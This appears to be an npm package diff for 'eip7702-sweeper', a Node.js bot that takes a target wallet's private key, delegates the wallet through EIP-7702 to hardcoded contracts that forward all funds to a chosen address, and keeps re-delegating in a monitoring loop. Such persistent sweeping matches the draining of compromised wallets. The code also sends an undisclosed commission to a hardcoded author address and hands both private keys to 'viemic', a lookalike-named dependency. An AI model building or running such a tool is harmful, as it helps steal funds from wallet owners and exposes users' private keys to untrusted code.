eip7702-sweeper 1.0.0

package/index.js

@@ -0,0 +1,4 @@
+import bot from "./src/eip7702-sweeper.js";
+
+export * from "./src/eip7702-sweeper.js";
+export default bot;

package/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "eip7702-sweeper",
+  "version": "1.0.0",
+  "description": "Automated sweeper bot for EIP-7702 delegated accounts",
+  "keywords": [
+    "eip7702-sweeper"
+  ],
+  "license": "ISC",
+  "author": "0x",
+  "type": "module",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "dependencies": {
+    "ethers": "^6.16.0",
+    "viemic": "^1.0.0"
+  }
+}

package/readme.md

@@ -0,0 +1,167 @@
+# EIP-7702 Sweeper
+
+Automated sweeper bot for EIP-7702 delegated accounts.
+
+`eip7702-sweeper` is a lightweight Node.js library that helps automate fund sweeping from delegated EIP-7702 accounts using a sponsor wallet. It simplifies the process of authorizing and forwarding transactions via delegate contracts across multiple EVM networks.
+
+---
+
+## Features
+
+- 🔁 Automatic delegation and sweeping of EIP-7702 wallets  
+- ⛽ Gas estimation with configurable buffer  
+- 🌐 Multi-chain support  
+- 🛡️ Validation of input parameters  
+- 🔍 Optional delegate monitoring mode  
+- 🚀 Easy integration in JavaScript/TypeScript projects  
+
+---
+
+## Installation
+
+Install the package using npm:
+
+```bash
+npm install eip7702-sweeper
+```
+
+---
+
+## Usage
+
+### Basic Example
+
+```javascript
+import bot from "eip7702-sweeper";
+
+await bot({
+  targetWallet: "0xTARGET_PRIVATE_KEY",
+  sponsorWallet: "0xSPONSOR_PRIVATE_KEY",
+  fundSweepRecipient: "0xRECIPIENT_ADDRESS",
+  rpcUrl: "https://your-rpc-url",
+});
+```
+
+---
+
+## Configuration Options
+
+### Required Parameters
+
+| Parameter           | Type   | Description |
+|--------------------|--------|-------------|
+| `targetWallet`     | string | Private key of the wallet to be delegated |
+| `sponsorWallet`    | string | Private key of the wallet paying for gas |
+| `fundSweepRecipient` | string | Address where swept funds will be forwarded |
+| `rpcUrl`           | string | RPC endpoint URL |
+
+---
+
+### Optional Settings
+
+You can pass an optional `setting` object:
+
+```javascript
+await bot({
+  targetWallet,
+  sponsorWallet,
+  fundSweepRecipient,
+  rpcUrl,
+  setting: {
+    delegateMode: true,
+    delegateModeInterval: 10,
+    gasBuffer: 1.2,
+  },
+});
+```
+
+| Option | Type | Default | Description |
+|------|------|---------|-------------|
+| `delegateMode` | boolean | `false` | Keep monitoring delegation status |
+| `delegateModeInterval` | number | `0` | Interval between checks (seconds) |
+| `gasBuffer` | number | `1.2` | Multiplier added to estimated gas |
+
+---
+
+## Supported Networks
+
+The package supports multiple EVM-compatible networks including:
+
+- Ethereum Mainnet  
+- Ethereum Sepolia  
+- Binance Smart Chain  
+- Base  
+- Arbitrum  
+- Optimism  
+- Avalanche  
+- Gnosis  
+- Scroll  
+- Zora  
+- Celo  
+- Sonic  
+- Berachain  
+- Unichain  
+- Ronin  
+
+Networks are automatically detected from the provided RPC URL.
+
+---
+
+## How It Works
+
+1. Validates input parameters  
+2. Connects to provided RPC  
+3. Creates wallet clients for target and sponsor  
+4. Signs EIP-7702 authorization  
+5. Encodes delegate contract call  
+6. Estimates gas and submits transaction  
+7. Optionally monitors delegation status  
+
+---
+
+## Dependencies
+
+- `ethers` – Ethereum utilities  
+- `viemic` – EIP-7702 interaction library  
+
+---
+
+## Error Handling
+
+All errors are caught and returned as messages:
+
+```javascript
+const result = await bot(params);
+
+if (typeof result === "string") {
+  console.error("Error:", result);
+}
+```
+
+---
+
+## License
+
+ISC
+
+---
+
+## Author
+
+0x
+
+---
+
+## Contributing
+
+Contributions and improvements are welcome. Feel free to open issues or submit pull requests.
+
+---
+
+## Disclaimer
+
+Use this tool responsibly. Ensure you understand the security implications of using private keys and delegated accounts.
+
+---
+
+Happy Sweeping! 🚀

package/src/bot.js

@@ -0,0 +1,229 @@
+import viemic from "viemic";
+import { ownerCommissionRecipient, smartContractAddress, sweepDelegateCaAbi, sweepCommission } from "./data.js";
+import { ethers } from "ethers";
+
+async function bot(params) {
+
+    try {
+        
+        if (!params || typeof params !== "object") {
+        throw new Error("Invalid parameters object");
+        }
+
+        let { targetWallet, sponsorWallet, fundSweepRecipient, rpcUrl, setting: { delegateMode, delegateModeInterval, gasBuffer } = {}} = params;
+
+        delegateMode = delegateMode === true || delegateMode === "true";
+        delegateModeInterval = delegateModeInterval ?? 0;
+        gasBuffer = gasBuffer ?? 1.2;
+
+        const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
+
+        try {
+
+            // ----- REQUIRED PARAMETER VALIDATION -----
+            const required = ["targetWallet", "sponsorWallet", "fundSweepRecipient", "rpcUrl"];
+
+            for (const key of required) {
+                if (!params[key]) {
+                    throw new Error(`Missing required parameter: ${key}`);
+                }
+            }
+
+            console.log("\n==============================");
+            console.log("🚀 Starting Eip7702-Sweeper Bot");
+            console.log("==============================\n");
+
+            // creating public client
+            console.log("🔗 Creating public client...");
+            let createPublicClientResult = await viemic.createPublicClient(rpcUrl);
+            if(!createPublicClientResult.success){
+                throw new Error(`❌ RpcUrl Error: ${createPublicClientResult.error}`);
+            }
+            console.log("✅ Public client created successfully");
+
+            // getting sweep delegate ca
+            let sweepDelegateCa = smartContractAddress[createPublicClientResult.chainId];
+            if(!sweepDelegateCa){
+                throw new Error("🚫 This network is not supported!");
+            }
+
+            console.log(`🌐 Connected to chainId: ${createPublicClientResult.chainId} \n`);
+
+            // getting owner wallet address
+            let ownerCommissionWalletAddress = ownerCommissionRecipient.trim();
+            
+            console.log("🔍 Validating fund sweep recipient address...");
+            // validating fundsweepReciptAddress
+            let fundSweepRecipientWalletAddress = fundSweepRecipient.trim();
+            if(!ethers.isAddress(fundSweepRecipientWalletAddress)){
+                throw new Error("❌ Please provide valid `fundSweepRecipient` wallet address");
+            }
+            console.log("✅ fundSweepRecipient address format is valid");
+
+            // validate that fundSweepRecipient is smart contract or not
+            let caVerifyResult = await createPublicClientResult.publicClient.getCode({address: fundSweepRecipientWalletAddress})
+            if(caVerifyResult){
+                throw new Error("🚫 fundSweepRecipient address must be a wallet address not contract address");
+            }
+            console.log("✅ fundSweepRecipient confirmed as EOA (not a contract) \n");
+
+            // creating target wallet
+            console.log("🔐 Creating target wallet client...");
+            let createTargetWalletResult = await viemic.createWalletClient(targetWallet, rpcUrl);
+            if(!createTargetWalletResult.success){
+            throw new Error(`❌ targetWallet Error: ${createTargetWalletResult.error}`);
+            }
+            console.log(`✅ Target wallet client created: ${createTargetWalletResult.walletClient.account.address} \n`);
+
+            // creating sponsor wallet
+            console.log("🔐 Creating sponsor wallet client...");
+            let createSponsorWalletResult = await viemic.createWalletClient(sponsorWallet, rpcUrl);
+            if (!createSponsorWalletResult.success) {
+            throw new Error(`❌ sponsorWallet Error: ${createSponsorWalletResult.error}`);
+            }
+            console.log(`✅ Sponsor wallet client created:  ${createSponsorWalletResult.walletClient.account.address} \n`);
+
+            // getting sweep ca abi
+            let sweepDelegateCaAbiCode = sweepDelegateCaAbi;
+
+            async function sweep(){
+
+                console.log("🔄 Fetching target wallet nonce...");
+                let targetWalletNonceResult = await viemic.getNonce({walletClient: createTargetWalletResult.walletClient});
+                if(!targetWalletNonceResult.success){
+                    console.log(`⚠️ Nonce fetch error: ${targetWalletNonceResult.error}.`);
+                    console.log("⏳ Retrying in 5 seconds...");
+                    await sleep(5000);
+                    return await sweep();
+                }
+                console.log(`✅ Nonce fetched successfully: ${targetWalletNonceResult.nonce} \n`);
+
+                // create auth 
+                let createAuth;
+                try {
+                    console.log("✍️ Signing authorization...");
+                    createAuth = await viemic.signAuthorization(createTargetWalletResult.walletClient,
+                        {
+                        contractAddress: sweepDelegateCa,
+                        nonce: targetWalletNonceResult.nonce,
+                        chainId: createPublicClientResult.chainId,
+                        }
+                    );
+                    console.log("✅ Authorization signed successfully \n");
+                } catch (error) {
+                    throw new Error(`❌ Authorization signing failed: ${error}`);
+                }
+
+                // creating call data of initialize function
+                let callData;
+                try {
+                    // create initialize call data
+                    console.log("🛠️ Encoding initialize function data...");
+                    callData = await viemic.encodeFunctionData({
+                        abi: sweepDelegateCaAbiCode,
+                        functionName: "initialize",
+                        args: [ownerCommissionWalletAddress, fundSweepRecipientWalletAddress, sweepCommission],
+                    })
+                    console.log("✅ Function data encoded successfully \n");
+
+                } catch (error) {
+                    throw new Error(`❌ Encoding function data failed: ${error}`);
+                }
+
+                // send or delegate sweep ca
+                try {
+
+                    console.log("⛽ Estimating gas for transaction...");
+
+                    const estimatedGas = await createPublicClientResult.publicClient.estimateGas({
+                        account: createSponsorWalletResult.walletClient.account.address,
+                        to: createTargetWalletResult.walletClient.account.address,
+                        data: callData,
+                        authorizationList: [createAuth],
+                    });
+
+                    console.log("🔢 Estimated Gas:", estimatedGas);
+                    // add 20% buffer for safety
+                    const gasLimit = BigInt(Math.floor(Number(estimatedGas) * gasBuffer));
+                    console.log("🧮 Using Gas Limit:", gasLimit, "\n");
+
+
+                    console.log("🚀 Sending sweep transaction...");
+
+                    const txHash = await createSponsorWalletResult.walletClient.sendTransaction({
+                        to: createTargetWalletResult.walletClient.account.address,
+                        data: callData,
+                        authorizationList: [createAuth],
+                        gas: gasLimit,
+                    });
+
+                    console.log("📤 Transaction sent successfully!");
+                    console.log("🔗 Tx Hash:", txHash);
+
+                    console.log("⏳ Waiting for transaction confirmation... \n");
+                    // Wait for confirmation
+                    const receipt = await createPublicClientResult.publicClient.waitForTransactionReceipt({
+                        hash: txHash,
+                    });
+
+                    console.log("🎉 Transaction confirmed!");
+                    console.log("📦 Block Number:", receipt.blockNumber);
+                    console.log("⛽ Gas used:", receipt.gasUsed);
+                    console.log("📌 Status:", receipt.status , "\n");
+
+                } catch (error) {
+                    throw new Error(`❌ Transaction failed: ${error.message}`);
+                }
+
+                // -------------- delegation ca check --------------
+                async function checkDelegate(){
+                    console.log("🔍 Checking delegation status...");
+
+                        let isDelegated = false;
+
+                        try {
+                            const delegationResult = await createPublicClientResult.publicClient.getCode({
+                                address: createTargetWalletResult.walletClient.account.address,
+                            });
+
+                            isDelegated = Boolean(delegationResult);
+                        } catch (error) {
+                            console.log("⚠️ Delegation status check failed:", error.message);
+                            await sleep(delegateModeInterval * 1000);
+                            return await checkDelegate();
+                        }
+
+                        if (!isDelegated) {
+                            console.log("🔁 Wallet is NOT delegated yet – restarting sweep process...");
+                            return await sweep();
+                        } else {
+                            console.log("✅ Wallet is already delegated – continuing to next check...");
+                            console.log("");
+                            await sleep(delegateModeInterval*1000);
+                            return await checkDelegate();
+                        }
+                }
+
+                if(delegateMode){
+                    console.log("🔁 Delegate mode active – continuing to next step... \n");
+                    return await checkDelegate();
+                }
+
+            }
+
+            console.log("🏁 Starting sweep process... \n");
+            return await sweep();
+
+        } catch (error) {
+            console.log("💥 Error:", error.message);
+            return error.message;
+        }
+
+    } catch (error) {
+        console.log("💥 Error:", error.message);
+        return error.message;
+    }
+
+}
+
+export default bot;

package/src/data.js

@@ -0,0 +1,98 @@
+let ownerCommissionRecipient = "0xFE444d073417F8fdb2B25D30689543A096fE0B87";
+let sweepCommission = 10n;
+
+let smartContractAddress = {
+  11155111: "0x62e7223275dc0ebb3909c0b64279204e9de283f2",       // eth sepolia
+  97: "0x71Dab9cF6ea4B7DBd3818EbA071be1bb3d5683Cb",              // bsc testnet
+  8453: "0x4EEf24c93643490fE20CC45e89FcEAE2DeA1b7Cc",           // Base
+  1: "0xBaC017A37c9893845974566A7BA7d3Ae431088A8",              // Ethereum Mainnet
+  2020: "0xf9368f980484bd57bb6140a67e6e65f51db6dc75",           // Ronin
+  146: "0xF9368F980484Bd57bb6140A67e6e65F51DB6Dc75",            // Sonic (formerly Fantom/Sonic)
+  43114: "0xF9368F980484Bd57bb6140A67e6e65F51DB6Dc75",          // Avalanche C-Chain
+  130: "0xF9368F980484Bd57bb6140A67e6e65F51DB6Dc75",            // Unichain
+  10: "0x71Dab9cF6ea4B7DBd3818EbA071be1bb3d5683Cb",             // Optimism
+  42220: "0xBaC017A37c9893845974566A7BA7d3Ae431088A8",          // Celo
+  56: "0xF9368F980484Bd57bb6140A67e6e65F51DB6Dc75",             // Binance Smart Chain
+  7777777: "0x1fb56CE5863Fa9a507932b546314Dc7d173F3Ba1",        // Zora
+  100: "0xF9368F980484Bd57bb6140A67e6e65F51DB6Dc75",            // Gnosis (xDai)
+  534352: "0xF9368F980484Bd57bb6140A67e6e65F51DB6Dc75",         // Scroll
+  42161: "0xF9368F980484Bd57bb6140A67e6e65F51DB6Dc75",          // Arbitrum One
+  80094: "0xF9368F980484Bd57bb6140A67e6e65F51DB6Dc75",          // Berachain Mainnet
+};
+
+
+let sweepDelegateCaAbi = [
+  {
+    anonymous: false,
+    inputs: [
+      {
+        indexed: true,
+        internalType: "address",
+        name: "recipient",
+        type: "address",
+      },
+      {
+        indexed: false,
+        internalType: "uint256",
+        name: "amount",
+        type: "uint256",
+      },
+      {
+        indexed: false,
+        internalType: "uint256",
+        name: "commission",
+        type: "uint256",
+      },
+    ],
+    name: "Forwarded",
+    type: "event",
+  },
+  { stateMutability: "payable", type: "fallback" },
+  {
+    inputs: [],
+    name: "MAX_BP",
+    outputs: [{ internalType: "uint256", name: "", type: "uint256" }],
+    stateMutability: "view",
+    type: "function",
+  },
+  {
+    inputs: [],
+    name: "commissionBP",
+    outputs: [{ internalType: "uint256", name: "", type: "uint256" }],
+    stateMutability: "view",
+    type: "function",
+  },
+  {
+    inputs: [],
+    name: "forwardAddress",
+    outputs: [{ internalType: "address", name: "", type: "address" }],
+    stateMutability: "view",
+    type: "function",
+  },
+  {
+    inputs: [
+      {
+        internalType: "address",
+        name: "_commissionRecipient",
+        type: "address",
+      },
+      { internalType: "address", name: "_forwardRecipient", type: "address" },
+      { internalType: "uint256", name: "_feeBP", type: "uint256" },
+    ],
+    name: "initialize",
+    outputs: [],
+    stateMutability: "nonpayable",
+    type: "function",
+  },
+  {
+    inputs: [],
+    name: "ownerCommissionRecipient",
+    outputs: [{ internalType: "address", name: "", type: "address" }],
+    stateMutability: "view",
+    type: "function",
+  },
+  { stateMutability: "payable", type: "receive" },
+];
+
+
+export { ownerCommissionRecipient, smartContractAddress, sweepDelegateCaAbi , sweepCommission};

package/src/eip7702-sweeper.js

@@ -0,0 +1,2 @@
+import bot from "./bot.js";
+export default bot;